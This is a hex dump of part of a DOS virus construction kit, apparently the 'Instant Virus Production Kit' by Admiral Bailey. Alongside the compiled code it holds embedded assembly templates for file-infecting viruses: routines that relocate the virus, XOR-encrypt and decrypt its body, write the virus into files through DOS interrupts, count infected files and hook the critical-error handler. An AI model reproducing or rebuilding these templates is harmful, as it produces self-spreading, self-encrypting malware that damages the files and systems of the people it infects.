|00004d60| e8 26 be 8b 46 fe 3b 46 | fc 75 c0 bf 51 41 0e 57 |.&..F.;F|.u..QA.W|
|00004d70| bf 70 41 0e 57 e8 11 be | bf 92 0e 1e 57 9a dd 05 |.pA.W...|....W...|
|00004d80| 12 07 9a 91 02 12 07 80 | 3e 66 00 00 74 0d bf 8a |........|>f..t...|
|00004d90| 41 0e 57 bf a6 41 0e 57 | e8 ee bd 80 3e 67 00 00 |A.W..A.W|....>g..|
|00004da0| 74 0d bf c5 41 0e 57 bf | a6 41 0e 57 e8 da bd 80 |t...A.W.|.A.W....|
|00004db0| 3e 64 00 00 74 0d bf e1 | 41 0e 57 bf f8 41 0e 57 |>d..t...|A.W..A.W|
|00004dc0| e8 c6 bd 80 3e 66 00 00 | 74 14 80 3e 60 00 00 75 |....>f..|t..>`..u|
|00004dd0| 0d bf 0f 42 0e 57 bf 30 | 42 0e 57 e8 ab bd bf 92 |...B.W.0|B.W.....|
|00004de0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 89 ec 5d |..W.....|.......]|
|00004df0| c3 0f 45 6e 63 72 79 70 | 74 5f 49 6e 66 65 63 74 |..Encryp|t_Infect|
|00004e00| 3a 00 21 6c 65 61 20 20 | 20 20 20 73 69 2c 5b 62 |:.!lea | si,[b|
|00004e10| 70 2b 6f 66 66 73 65 74 | 20 6d 6f 76 65 5f 62 65 |p+offset| move_be|
|00004e20| 67 69 6e 5d 1e 4c 6f 63 | 61 74 69 6f 6e 20 6f 66 |gin].Loc|ation of|
|00004e30| 20 77 68 65 72 65 20 74 | 6f 20 6d 6f 76 65 20 66 | where t|o move f|
|00004e40| 72 6f 6d 1f 6c 65 61 20 | 20 20 20 20 64 69 2c 5b |rom.lea | di,[|
|00004e50| 62 70 2b 6f 66 66 73 65 | 74 20 77 6f 72 6b 61 72 |bp+offse|t workar|
|00004e60| 65 61 5d 14 57 68 65 72 | 65 20 74 6f 20 6d 6f 76 |ea].Wher|e to mov|
|00004e70| 65 20 69 74 20 74 6f 6f | 1c 6d 6f 76 20 20 20 20 |e it too|.mov |
|00004e80| 20 73 69 2c 6f 66 66 73 | 65 74 20 6d 6f 76 65 5f | si,offs|et move_|
|00004e90| 62 65 67 69 6e 1a 6d 6f | 76 20 20 20 20 20 64 69 |begin.mo|v di|
|00004ea0| 2c 6f 66 66 73 65 74 20 | 77 6f 72 6b 61 72 65 61 |,offset |workarea|
|00004eb0| 1e 6d 6f 76 20 20 20 20 | 20 63 78 2c 6d 6f 76 65 |.mov | cx,move|
|00004ec0| 5f 65 6e 64 2d 6d 6f 76 | 65 5f 62 65 67 69 6e 17 |_end-mov|e_begin.|
|00004ed0| 4e 75 6d 62 65 72 20 6f | 66 20 62 79 74 65 73 20 |Number o|f bytes |
|00004ee0| 74 6f 20 6d 6f 76 65 0a | 6d 6f 76 65 5f 6c 6f 6f |to move.|move_loo|
|00004ef0| 70 3a 05 6d 6f 76 73 62 | 1c 4d 6f 76 65 73 20 74 |p:.movsb|.Moves t|
|00004f00| 68 69 73 20 72 6f 75 74 | 69 6e 65 20 69 6e 74 6f |his rout|ine into|
|00004f10| 20 68 65 61 70 11 6c 6f | 6f 70 20 20 20 20 6d 6f | heap.lo|op mo|
|00004f20| 76 65 5f 6c 6f 6f 70 1f | 6c 65 61 20 20 20 20 20 |ve_loop.|lea |
|00004f30| 64 78 2c 5b 62 70 2b 6f | 66 66 73 65 74 20 77 6f |dx,[bp+o|ffset wo|
|00004f40| 72 6b 61 72 65 61 5d 1a | 6d 6f 76 20 20 20 20 20 |rkarea].|mov |
|00004f50| 64 78 2c 6f 66 66 73 65 | 74 20 77 6f 72 6b 61 72 |dx,offse|t workar|
|00004f60| 65 61 0a 63 61 6c 6c 20 | 20 20 20 64 78 1f 4a 75 |ea.call | dx.Ju|
|00004f70| 6d 70 20 74 6f 20 74 68 | 61 74 20 72 6f 75 74 69 |mp to th|at routi|
|00004f80| 6e 65 20 6a 75 73 74 20 | 6d 6f 76 65 64 03 72 65 |ne just |moved.re|
|00004f90| 74 17 4d 6f 76 65 5f 42 | 65 67 69 6e 20 20 20 20 |t.Move_B|egin |
|00004fa0| 65 71 75 20 20 20 20 20 | 24 17 4d 61 72 6b 73 20 |equ |$.Marks |
|00004fb0| 62 65 67 69 6e 6e 69 6e | 67 20 6f 66 20 6d 6f 76 |beginnin|g of mov|
|00004fc0| 65 02 62 70 08 6d 6f 76 | 20 20 20 20 20 03 2c 62 |e.bp.mov| .,b|
|00004fd0| 70 1a 53 65 74 20 75 70 | 20 74 68 65 20 72 61 6e |p.Set up| the ran|
|00004fe0| 64 6f 6d 20 72 65 67 69 | 73 74 65 72 0a 70 75 73 |dom regi|ster.pus|
|00004ff0| 68 20 20 20 20 62 78 14 | 53 61 76 65 20 74 68 65 |h bx.|Save the|
|00005000| 20 66 69 6c 65 20 68 61 | 6e 64 6c 65 22 6c 65 61 | file ha|ndle"lea|
|00005010| 20 20 20 20 20 64 78 2c | 5b 62 70 2b 6f 66 66 73 | dx,|[bp+offs|
|00005020| 65 74 20 65 6e 63 72 79 | 70 74 5f 65 6e 64 5d 1d |et encry|pt_end].|
|00005030| 6d 6f 76 20 20 20 20 20 | 64 78 2c 6f 66 66 73 65 |mov |dx,offse|
|00005040| 74 20 65 6e 63 72 79 70 | 74 5f 65 6e 64 22 43 61 |t encryp|t_end"Ca|
|00005050| 6c 6c 20 74 68 65 20 65 | 6e 63 72 79 70 74 5f 64 |ll the e|ncrypt_d|
|00005060| 65 63 72 79 70 74 20 70 | 72 6f 63 65 64 75 72 65 |ecrypt p|rocedure|
|00005070| 0a 70 6f 70 20 20 20 20 | 20 62 78 20 47 65 74 20 |.pop | bx Get |
|00005080| 68 61 6e 64 6c 65 20 62 | 61 63 6b 20 69 6e 20 62 |handle b|ack in b|
|00005090| 78 20 61 6e 64 20 72 65 | 74 75 72 6e 0e 6d 6f 76 |x and re|turn.mov|
|000050a0| 20 20 20 20 20 61 68 2c | 34 30 68 0d 57 72 69 74 | ah,|40h.Writ|
|000050b0| 65 20 74 6f 20 66 69 6c | 65 14 6d 6f 76 20 20 20 |e to fil|e.mov |
|000050c0| 20 20 63 78 2c 65 6f 66 | 2d 73 74 61 72 74 0f 4e | cx,eof|-start.N|
|000050d0| 75 6d 62 65 72 20 6f 66 | 20 62 79 74 65 73 14 6d |umber of| bytes.m|
|000050e0| 6f 76 20 20 20 20 20 63 | 78 2c 65 6f 66 2d 76 69 |ov c|x,eof-vi|
|000050f0| 72 75 73 0f 6d 6f 76 20 | 20 20 20 20 64 78 2c 31 |rus.mov | dx,1|
|00005100| 30 30 68 1c 6c 65 61 20 | 20 20 20 20 64 78 2c 5b |00h.lea | dx,[|
|00005110| 62 70 2b 6f 66 66 73 65 | 74 20 76 69 72 75 73 5d |bp+offse|t virus]|
|00005120| 13 57 68 65 72 65 20 74 | 6f 20 77 72 69 74 65 20 |.Where t|o write |
|00005130| 66 72 6f 6d 0b 69 6e 74 | 20 20 20 20 20 32 31 68 |from.int| 21h|
|00005140| 1b 44 65 63 72 79 70 74 | 20 74 68 65 20 66 69 6c |.Decrypt| the fil|
|00005150| 65 20 61 6e 64 20 72 65 | 74 75 72 6e 17 6d 6f 76 |e and re|turn.mov|
|00005160| 65 5f 65 6e 64 20 20 20 | 20 20 20 65 71 75 20 20 |e_end | equ |
|00005170| 20 20 20 24 15 4d 61 72 | 6b 73 20 74 68 65 20 65 | $.Mar|ks the e|
|00005180| 6e 64 20 6f 66 20 6d 6f | 76 65 17 45 6e 63 72 79 |nd of mo|ve.Encry|
|00005190| 70 74 5f 45 6e 64 20 20 | 20 65 71 75 20 20 20 20 |pt_End | equ |
|000051a0| 20 24 1b 4d 61 72 6b 73 | 20 74 68 65 20 65 6e 64 | $.Marks| the end|
|000051b0| 20 6f 66 20 65 6e 63 72 | 79 70 74 69 6f 6e 10 45 | of encr|yption.E|
|000051c0| 6e 63 72 79 70 74 5f 44 | 65 63 72 79 70 74 3a 0c |ncrypt_D|ecrypt:.|
|000051d0| 6c 65 61 20 20 20 20 20 | 62 78 2c 5b 0f 2b 65 6e |lea |bx,[.+en|
|000051e0| 63 72 79 70 74 5f 73 74 | 61 72 74 5d 19 57 68 65 |crypt_st|art].Whe|
|000051f0| 72 65 20 74 6f 20 73 74 | 61 72 74 20 65 6e 63 72 |re to st|art encr|
|00005200| 79 70 74 69 6f 6e 1f 6d | 6f 76 20 20 20 20 20 62 |yption.m|ov b|
|00005210| 78 2c 6f 66 66 73 65 74 | 20 65 6e 63 72 79 70 74 |x,offset| encrypt|
|00005220| 5f 73 74 61 72 74 24 6d | 6f 76 20 20 20 20 20 63 |_start$m|ov c|
|00005230| 78 2c 65 6e 63 72 79 70 | 74 5f 65 6e 64 2d 65 6e |x,encryp|t_end-en|
|00005240| 63 72 79 70 74 5f 73 74 | 61 72 74 1a 4e 75 6d 62 |crypt_st|art.Numb|
|00005250| 65 72 20 6f 66 20 62 79 | 74 65 73 20 74 6f 20 65 |er of by|tes to e|
|00005260| 6e 63 72 79 70 74 0d 45 | 6e 63 72 79 70 74 5f 4c |ncrypt.E|ncrypt_L|
|00005270| 6f 6f 70 3a 12 6d 6f 76 | 20 20 20 20 20 61 68 2c |oop:.mov| ah,|
|00005280| 63 73 3a 5b 62 78 5d 10 | 47 65 74 20 61 20 62 79 |cs:[bx].|Get a by|
|00005290| 74 65 20 69 6e 20 61 68 | 0c 78 6f 72 20 20 20 20 |te in ah|.xor |
|000052a0| 20 61 68 2c 5b 0b 2b 65 | 6e 63 5f 76 61 6c 75 65 | ah,[.+e|nc_value|
|000052b0| 5d 1b 56 61 6c 75 65 20 | 74 6f 20 75 73 65 20 66 |].Value |to use f|
|000052c0| 6f 72 20 65 6e 63 72 79 | 70 74 69 6f 6e 16 78 6f |or encry|ption.xo|
|000052d0| 72 20 20 20 20 20 61 68 | 2c 5b 65 6e 63 5f 76 61 |r ah|,[enc_va|
|000052e0| 6c 75 65 5d 12 6d 6f 76 | 20 20 20 20 20 63 73 3a |lue].mov| cs:|
|000052f0| 5b 62 78 5d 2c 61 68 0b | 50 75 74 20 69 74 20 62 |[bx],ah.|Put it b|
|00005300| 61 63 6b 0a 69 6e 63 20 | 20 20 20 20 62 78 1a 4d |ack.inc | bx.M|
|00005310| 6f 76 65 20 74 6f 20 6e | 65 78 74 20 62 79 74 65 |ove to n|ext byte|
|00005320| 20 61 6e 64 20 6c 6f 6f | 70 14 6c 6f 6f 70 20 20 | and loo|p.loop |
|00005330| 20 20 65 6e 63 72 79 70 | 74 5f 6c 6f 6f 70 10 62 | encryp|t_loop.b|
|00005340| 79 74 65 73 20 74 6f 20 | 65 6e 63 72 79 70 74 1f |ytes to |encrypt.|
|00005350| 6d 6f 76 20 20 20 20 20 | 73 69 2c 6f 66 66 73 65 |mov |si,offse|
|00005360| 74 20 65 6e 63 72 79 70 | 74 5f 73 74 61 72 74 20 |t encryp|t_start |
|00005370| 6c 65 61 20 20 20 20 20 | 73 69 2c 63 73 3a 5b 62 |lea |si,cs:[b|
|00005380| 70 2b 65 6e 63 72 79 70 | 74 5f 73 74 61 72 74 5d |p+encryp|t_start]|
|00005390| 13 73 74 61 72 74 20 6f | 66 20 65 6e 63 72 79 70 |.start o|f encryp|
|000053a0| 74 69 6f 6e 0d 6d 6f 76 | 20 20 20 20 20 64 69 2c |tion.mov| di,|
|000053b0| 73 69 08 65 6e 63 6c 6f | 6f 70 3a 05 6c 6f 64 73 |si.enclo|op:.lods|
|000053c0| 62 19 78 6f 72 20 20 20 | 20 20 61 68 2c 63 73 3a |b.xor | ah,cs:|
|000053d0| 5b 65 6e 63 5f 76 61 6c | 75 65 5d 1c 78 6f 72 20 |[enc_val|ue].xor |
|000053e0| 20 20 20 20 61 68 2c 63 | 73 3a 5b 62 70 2b 65 6e | ah,c|s:[bp+en|
|000053f0| 63 5f 76 61 6c 75 65 5d | 05 73 74 6f 73 62 0f 6c |c_value]|.stosb.l|
|00005400| 6f 6f 70 20 20 20 20 65 | 6e 63 6c 6f 6f 70 0f 6d |oop e|ncloop.m|
|00005410| 6f 76 20 20 20 20 20 61 | 68 2c 63 73 3a 5b 1c 50 |ov a|h,cs:[.P|
|00005420| 75 74 20 65 6e 63 72 79 | 70 74 69 6f 6e 20 76 61 |ut encry|ption va|
|00005430| 6c 75 65 20 69 6e 74 6f | 20 61 68 0f 6c 65 61 20 |lue into| ah.lea |
|00005440| 20 20 20 20 73 69 2c 63 | 73 3a 5b 13 53 74 61 72 | si,c|s:[.Star|
|00005450| 74 20 6f 66 20 65 6e 63 | 72 79 70 74 69 6f 6e 16 |t of enc|ryption.|
|00005460| 6d 6f 76 20 20 20 20 20 | 61 68 2c 5b 65 6e 63 5f |mov |ah,[enc_|
|00005470| 76 61 6c 75 65 5d 24 6d | 6f 76 20 20 20 20 20 63 |value]$m|ov c|
|00005480| 78 2c 65 6e 63 72 79 70 | 74 5f 65 6e 64 2d 45 6e |x,encryp|t_end-En|
|00005490| 63 72 79 70 74 5f 73 74 | 61 72 74 10 42 79 74 65 |crypt_st|art.Byte|
|000054a0| 73 20 74 6f 20 65 6e 63 | 72 79 70 74 12 78 6f 72 |s to enc|rypt.xor|
|000054b0| 20 20 20 20 20 63 73 3a | 5b 73 69 5d 2c 61 68 0a | cs:|[si],ah.|
|000054c0| 69 6e 63 20 20 20 20 20 | 73 69 1d 6d 6f 76 20 20 |inc |si.mov |
|000054d0| 20 20 20 62 78 2c 5b 62 | 70 2b 65 6e 63 72 79 70 | bx,[b|p+encryp|
|000054e0| 74 5f 73 74 61 72 74 5d | 24 63 6d 70 20 20 20 20 |t_start]|$cmp |
|000054f0| 20 62 78 2c 65 6e 63 72 | 79 70 74 5f 65 6e 64 2d | bx,encr|ypt_end-|
|00005500| 65 6e 63 72 79 70 74 5f | 73 74 61 72 74 0f 6a 6c |encrypt_|start.jl|
|00005510| 65 20 20 20 20 20 65 6e | 63 6c 6f 6f 70 17 45 6e |e en|cloop.En|
|00005520| 63 5f 56 61 6c 75 65 20 | 20 20 20 20 64 62 20 20 |c_Value | db |
|00005530| 20 20 30 30 68 2b 48 6f | 6c 64 20 74 68 65 20 65 | 00h+Ho|ld the e|
|00005540| 6e 63 72 79 70 74 69 6f | 6e 20 76 61 6c 75 65 20 |ncryptio|n value |
|00005550| 30 30 20 66 6f 72 20 6e | 75 6c 20 65 66 66 65 63 |00 for n|ul effec|
|00005560| 74 55 89 e5 b8 02 01 9a | cd 02 12 07 81 ec 02 01 |tU......|........|
|00005570| b8 03 00 50 9a d6 0d 12 | 07 89 46 fe 80 3e 61 00 |...P....|..F..>a.|
|00005580| 00 74 03 e9 56 02 bf a1 | 43 0e 57 bf b1 43 0e 57 |.t..V...|C.W..C.W|
|00005590| e8 f6 b5 80 3e 60 00 00 | 75 1a bf b2 43 0e 57 bf |....>`..|u...C.W.|
|000055a0| d4 43 0e 57 e8 b5 b4 bf | f3 43 0e 57 bf 13 44 0e |.C.W....|.C.W..D.|
|000055b0| 57 e8 a8 b4 80 3e 60 00 | 00 74 1a bf 28 44 0e 57 |W....>`.|.t..(D.W|
|000055c0| bf d4 43 0e 57 e8 94 b4 | bf 45 44 0e 57 bf 13 44 |..C.W...|.ED.W..D|
|000055d0| 0e 57 e8 87 b4 bf 60 44 | 0e 57 bf 7f 44 0e 57 e8 |.W....`D|.W..D.W.|
|000055e0| 7a b4 bf 97 44 0e 57 bf | b1 43 0e 57 e8 9a b5 bf |z...D.W.|.C.W....|
|000055f0| a2 44 0e 57 bf a8 44 0e | 57 e8 60 b4 bf c5 44 0e |.D.W..D.|W.`...D.|
|00005600| 57 bf b1 43 0e 57 e8 53 | b4 80 3e 60 00 00 75 0d |W..C.W.S|..>`..u.|
|00005610| bf d7 44 0e 57 bf b1 43 | 0e 57 e8 3f b4 80 3e 60 |..D.W..C|.W.?..>`|
|00005620| 00 00 74 0d bf f7 44 0e | 57 bf b1 43 0e 57 e8 2b |..t...D.|W..C.W.+|
|00005630| b4 bf 12 45 0e 57 bf 1d | 45 0e 57 e8 1e b4 bf 3d |...E.W..|E.W....=|
|00005640| 45 0e 57 bf b1 43 0e 57 | e8 11 b4 bf 92 0e 1e 57 |E.W..C.W|.......W|
|00005650| 9a dd 05 12 07 9a 91 02 | 12 07 bf 41 45 0e 57 bf |........|...AE.W.|
|00005660| 59 45 0e 57 e8 22 b5 80 | 3e 60 00 00 75 3d bf 90 |YE.W."..|>`..u=..|
|00005670| 05 1e 57 bf 71 45 0e 57 | 9a c4 0b 12 07 74 2c 8d |..W.qE.W|.....t,.|
|00005680| be fe fe 16 57 bf 74 45 | 0e 57 9a d3 0a 12 07 bf |....W.tE|.W......|
|00005690| 90 05 1e 57 9a 52 0b 12 | 07 bf 7d 45 0e 57 9a 52 |...W.R..|..}E.W.R|
|000056a0| 0b 12 07 bf 81 45 0e 57 | e8 b1 b3 bf 9c 45 0e 57 |.....E.W|.....E.W|
|000056b0| bf a7 45 0e 57 e8 a4 b3 | 80 3e 60 00 00 75 0d bf |..E.W...|.>`..u..|
|000056c0| bc 45 0e 57 bf b1 43 0e | 57 e8 90 b3 80 3e 60 00 |.E.W..C.|W....>`.|
|000056d0| 00 74 0d bf df 45 0e 57 | bf b1 43 0e 57 e8 7c b3 |.t...E.W|..C.W.|.|
|000056e0| bf 12 45 0e 57 bf fd 45 | 0e 57 e8 6f b3 bf 20 46 |..E.W..E|.W.o.. F|
|000056f0| 0e 57 bf 2b 46 0e 57 e8 | 62 b3 bf 4c 46 0e 57 bf |.W.+F.W.|b..LF.W.|
|00005700| 5b 46 0e 57 e8 55 b3 80 | 3e 60 00 00 74 0d bf 69 |[F.W.U..|>`..t..i|
|00005710| 46 0e 57 bf 7e 46 0e 57 | e8 41 b3 80 3e 60 00 00 |F.W.~F.W|.A..>`..|
|00005720| 75 0d bf 8e 46 0e 57 bf | 7e 46 0e 57 e8 2d b3 80 |u...F.W.|~F.W.-..|
|00005730| 3e 60 00 00 74 0d bf a3 | 46 0e 57 bf b1 43 0e 57 |>`..t...|F.W..C.W|
|00005740| e8 19 b3 80 3e 60 00 00 | 75 0d bf b3 46 0e 57 bf |....>`..|u...F.W.|
|00005750| d0 46 0e 57 e8 05 b3 bf | e4 46 0e 57 bf b1 43 0e |.F.W....|.F.W..C.|
|00005760| 57 e8 f8 b2 bf 9c 45 0e | 57 bf a7 45 0e 57 e8 eb |W.....E.|W..E.W..|
|00005770| b2 80 3e 60 00 00 75 0d | bf bc 45 0e 57 bf b1 43 |..>`..u.|..E.W..C|
|00005780| 0e 57 e8 d7 b2 80 3e 60 | 00 00 74 0d bf df 45 0e |.W....>`|..t...E.|
|00005790| 57 bf b1 43 0e 57 e8 c3 | b2 bf 12 45 0e 57 bf f0 |W..C.W..|...E.W..|
|000057a0| 46 0e 57 e8 b6 b2 bf 20 | 46 0e 57 bf 2b 46 0e 57 |F.W.... |F.W.+F.W|
|000057b0| e8 a9 b2 bf 3d 45 0e 57 | bf b1 43 0e 57 e8 9c b2 |....=E.W|..C.W...|
|000057c0| bf 0c 47 0e 57 bf 24 47 | 0e 57 e8 bc b3 bf 92 0e |..G.W.$G|.W......|
|000057d0| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf 3a 47 0e |.W......|.....:G.|
|000057e0| 57 bf 52 47 0e 57 e8 a0 | b3 bf 92 0e 1e 57 9a dd |W.RG.W..|.....W..|
|000057f0| 05 12 07 9a 91 02 12 07 | bf 6e 47 0e 57 bf b1 43 |........|.nG.W..C|
|00005800| 0e 57 e8 84 b3 83 7e fe | 00 74 03 e9 dc 00 80 3e |.W....~.|.t.....>|
|00005810| 60 00 00 75 2c 8d be fe | fe 16 57 bf 7f 47 0e 57 |`..u,...|..W..G.W|
|00005820| 9a d3 0a 12 07 bf 90 05 | 1e 57 9a 52 0b 12 07 bf |........|.W.R....|
|00005830| 8c 47 0e 57 9a 52 0b 12 | 07 bf 9c 47 0e 57 e8 1b |.G.W.R..|...G.W..|
|00005840| b2 80 3e 60 00 00 74 0d | bf b6 47 0e 57 bf 9c 47 |..>`..t.|..G.W..G|
|00005850| 0e 57 e8 07 b2 bf d6 47 | 0e 57 bf fb 47 0e 57 e8 |.W.....G|.W..G.W.|
|00005860| fa b1 bf 16 48 0e 57 bf | b1 43 0e 57 e8 1a b3 bf |....H.W.|.C.W....|
|00005870| 24 48 0e 57 bf 37 48 0e | 57 e8 e0 b1 80 3e 60 00 |$H.W.7H.|W....>`.|
|00005880| 00 75 2c 8d be fe fe 16 | 57 bf 48 48 0e 57 9a d3 |.u,.....|W.HH.W..|
|00005890| 0a 12 07 bf 90 05 1e 57 | 9a 52 0b 12 07 bf 55 48 |.......W|.R....UH|
|000058a0| 0e 57 9a 52 0b 12 07 bf | 61 48 0e 57 e8 ad b1 80 |.W.R....|aH.W....|
|000058b0| 3e 60 00 00 74 0d bf 7d | 48 0e 57 bf 61 48 0e 57 |>`..t..}|H.W.aH.W|
|000058c0| e8 99 b1 bf 94 48 0e 57 | bf a7 48 0e 57 e8 8c b1 |.....H.W|..H.W...|
|000058d0| bf b3 48 0e 57 bf be 48 | 0e 57 e8 7f b1 bf d9 48 |..H.W..H|.W.....H|
|000058e0| 0e 57 bf b1 43 0e 57 e8 | 72 b1 83 7e fe 01 74 03 |.W..C.W.|r..~..t.|
|000058f0| e9 9e 00 bf d6 47 0e 57 | bf ee 48 0e 57 e8 5c b1 |.....G.W|..H.W.\.|
|00005900| 80 3e 60 00 00 74 0d bf | ff 48 0e 57 bf b1 43 0e |.>`..t..|.H.W..C.|
|00005910| 57 e8 48 b1 80 3e 60 00 | 00 75 0d bf 1f 49 0e 57 |W.H..>`.|.u...I.W|
|00005920| bf 40 49 0e 57 e8 34 b1 | bf 54 49 0e 57 bf b1 43 |.@I.W.4.|.TI.W..C|
|00005930| 0e 57 e8 27 b1 bf 62 49 | 0e 57 bf b1 43 0e 57 e8 |.W.'..bI|.W..C.W.|
|00005940| 47 b2 bf 6b 49 0e 57 bf | b1 43 0e 57 e8 0d b1 80 |G..kI.W.|.C.W....|
|00005950| 3e 60 00 00 74 0d bf 71 | 49 0e 57 bf b1 43 0e 57 |>`..t..q|I.W..C.W|
|00005960| e8 f9 b0 80 3e 60 00 00 | 75 0d bf 8b 49 0e 57 bf |....>`..|u...I.W.|
|00005970| b1 43 0e 57 e8 e5 b0 bf | a8 49 0e 57 bf b1 43 0e |.C.W....|.I.W..C.|
|00005980| 57 e8 d8 b0 bf ae 49 0e | 57 bf b1 43 0e 57 e8 cb |W.....I.|W..C.W..|
|00005990| b0 83 7e fe 02 74 03 e9 | c1 00 80 3e 60 00 00 75 |..~..t..|...>`..u|
|000059a0| 58 8d be fe fe 16 57 bf | be 49 0e 57 9a d3 0a 12 |X.....W.|.I.W....|
|000059b0| 07 bf 90 05 1e 57 9a 52 | 0b 12 07 bf 55 48 0e 57 |.....W.R|....UH.W|
|000059c0| 9a 52 0b 12 07 bf ce 49 | 0e 57 e8 8f b0 8d be fe |.R.....I|.W......|
|000059d0| fe 16 57 bf eb 49 0e 57 | 9a d3 0a 12 07 bf 90 05 |..W..I.W|........|
|000059e0| 1e 57 9a 52 0b 12 07 bf | 8c 47 0e 57 9a 52 0b 12 |.W.R....|.G.W.R..|
|000059f0| 07 bf fb 49 0e 57 e8 63 | b0 80 3e 60 00 00 74 1a |...I.W.c|..>`..t.|
|00005a00| bf 0f 4a 0e 57 bf ce 49 | 0e 57 e8 4f b0 bf ff 48 |..J.W..I|.W.O...H|
|00005a10| 0e 57 bf fb 49 0e 57 e8 | 42 b0 bf 26 4a 0e 57 bf |.W..I.W.|B..&J.W.|
|00005a20| 4b 4a 0e 57 e8 35 b0 bf | 62 49 0e 57 bf b1 43 0e |KJ.W.5..|bI.W..C.|
|00005a30| 57 e8 55 b1 bf 5c 4a 0e | 57 bf b1 43 0e 57 e8 1b |W.U..\J.|W..C.W..|
|00005a40| b0 bf 6f 4a 0e 57 bf b1 | 43 0e 57 e8 0e b0 bf ae |..oJ.W..|C.W.....|
|00005a50| 49 0e 57 bf b1 43 0e 57 | e8 01 b0 83 7e fe 03 74 |I.W..C.W|....~..t|
|00005a60| 03 e9 9e 00 80 3e 60 00 | 00 75 0d bf 7a 4a 0e 57 |.....>`.|.u..zJ.W|
|00005a70| bf b1 43 0e 57 e8 e4 af | 80 3e 60 00 00 74 0d bf |..C.W...|.>`..t..|
|00005a80| b6 47 0e 57 bf b1 43 0e | 57 e8 d0 af bf 62 49 0e |.G.W..C.|W....bI.|
|00005a90| 57 bf b1 43 0e 57 e8 f0 | b0 bf 24 48 0e 57 bf b1 |W..C.W..|..$H.W..|
|00005aa0| 43 0e 57 e8 b6 af 80 3e | 60 00 00 75 0d bf 8b 49 |C.W....>|`..u...I|
|00005ab0| 0e 57 bf b1 43 0e 57 e8 | a2 af 80 3e 60 00 00 74 |.W..C.W.|...>`..t|
|00005ac0| 0d bf 71 49 0e 57 bf b1 | 43 0e 57 e8 8e af bf 94 |..qI.W..|C.W.....|
|00005ad0| 48 0e 57 bf b1 43 0e 57 | e8 81 af bf b3 48 0e 57 |H.W..C.W|.....H.W|
|00005ae0| bf b1 43 0e 57 e8 74 af | bf 98 4a 0e 57 bf b1 43 |..C.W.t.|..J.W..C|
|00005af0| 0e 57 e8 67 af bf bd 4a | 0e 57 bf b1 43 0e 57 e8 |.W.g...J|.W..C.W.|
|00005b00| 5a af bf 3d 45 0e 57 bf | b1 43 0e 57 e8 4d af bf |Z..=E.W.|.C.W.M..|
|00005b10| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 bf cd |...W....|........|
|00005b20| 4a 0e 57 bf e5 4a 0e 57 | e8 5e b0 bf 92 0e 1e 57 |J.W..J.W|.^.....W|
|00005b30| 9a dd 05 12 07 9a 91 02 | 12 07 89 ec 5d c3 11 45 |........|....]..E|
|00005b40| 4f 46 20 20 20 20 20 65 | 71 75 20 20 20 20 20 24 |OF e|qu $|
|00005b50| 15 4d 61 72 6b 73 20 74 | 68 65 20 65 6e 64 20 6f |.Marks t|he end o|
|00005b60| 66 20 66 69 6c 65 0c 43 | 6f 75 6e 74 65 72 20 64 |f file.C|ounter d|
|00005b70| 62 20 30 15 49 6e 66 65 | 63 74 65 64 20 46 69 6c |b 0.Infe|cted Fil|
|00005b80| 65 20 43 6f 75 6e 74 65 | 72 2b 57 6f 72 6b 61 72 |e Counte|r+Workar|
|00005b90| 65 61 20 64 62 20 20 20 | 20 20 6d 6f 76 65 5f 65 |ea db | move_e|
|00005ba0| 6e 64 2d 6d 6f 76 65 5f | 62 65 67 69 6e 20 64 75 |nd-move_|begin du|
|00005bb0| 70 20 28 3f 29 20 48 6f | 6c 64 73 20 74 68 65 20 |p (?) Ho|lds the |
|00005bc0| 65 6e 63 72 79 70 74 5f | 69 6e 66 65 63 74 20 72 |encrypt_|infect r|
|00005bd0| 6f 75 74 69 6e 65 1a 63 | 75 72 72 65 6e 74 64 69 |outine.c|urrentdi|
|00005be0| 72 20 64 62 20 20 20 36 | 34 20 64 75 70 20 28 3f |r db 6|4 dup (?|
|00005bf0| 29 15 48 6f 6c 64 73 20 | 74 68 65 20 63 75 72 72 |).Holds |the curr|
|00005c00| 65 6e 74 20 64 69 72 1a | 44 54 41 20 20 20 20 20 |ent dir.|DTA |
|00005c10| 64 62 20 20 20 20 20 20 | 34 32 20 64 75 70 20 28 |db |42 dup (|
|00005c20| 3f 29 13 4c 6f 63 61 74 | 69 6f 6e 20 6f 66 20 6e |?).Locat|ion of n|
|00005c30| 65 77 20 44 54 41 15 42 | 75 66 66 65 72 20 64 62 |ew DTA.B|uffer db|
|00005c40| 20 31 61 68 20 64 75 70 | 20 28 3f 29 10 48 6f 6c | 1ah dup| (?).Hol|
|00005c50| 64 73 20 65 78 65 20 68 | 65 61 64 65 72 0d 4f 6c |ds exe h|eader.Ol|
|00005c60| 64 49 6e 74 32 34 20 64 | 64 20 3f 1f 53 74 6f 72 |dInt24 d|d ?.Stor|
|00005c70| 61 67 65 20 66 6f 72 20 | 6f 6c 64 20 69 6e 74 20 |age for |old int |
|00005c80| 32 34 68 20 68 61 6e 64 | 6c 65 72 0d 46 69 6c 6c |24h hand|ler.Fill|
|00005c90| 65 72 20 20 20 64 62 20 | 20 08 20 64 75 70 20 28 |er db | . dup (|
|00005ca0| 30 29 00 11 65 6f 76 20 | 20 20 20 20 65 71 75 20 |0)..eov | equ |
|00005cb0| 20 20 20 20 24 15 55 73 | 65 64 20 46 6f 72 20 43 | $.Us|ed For C|
|00005cc0| 61 6c 63 75 6c 61 74 69 | 6f 6e 73 0c 63 6f 64 65 |alculati|ons.code|
|00005cd0| 20 20 20 20 65 6e 64 73 | 0d 65 6e 64 20 20 20 20 | ends|.end |
|00005ce0| 20 73 74 61 72 74 0a 3b | 2d 2d 2d 2d 2d 2d 2d 2d | start.;|--------|
|00005cf0| 2d 4d 3b 20 20 49 6e 73 | 74 61 6e 74 20 56 69 72 |-M; Ins|tant Vir|
|00005d00| 75 73 20 50 72 6f 64 75 | 63 74 69 6f 6e 20 4b 69 |us Produ|ction Ki|
|00005d10| 74 20 42 79 20 41 64 6d | 69 72 61 6c 20 42 61 69 |t By Adm|iral Bai|
|00005d20| 6c 65 79 20 2d 20 59 6f | 75 6e 67 73 74 65 72 73 |ley - Yo|ungsters|
|00005d30| 20 41 67 61 69 6e 73 74 | 20 4d 63 41 66 65 65 2b | Against| McAfee+|
|00005d40| 3b 20 20 54 6f 20 63 6f | 6d 70 69 6c 65 20 74 68 |; To co|mpile th|
|00005d50| 69 73 20 75 73 65 20 54 | 41 53 4d 20 2f 4d 20 46 |is use T|ASM /M F|
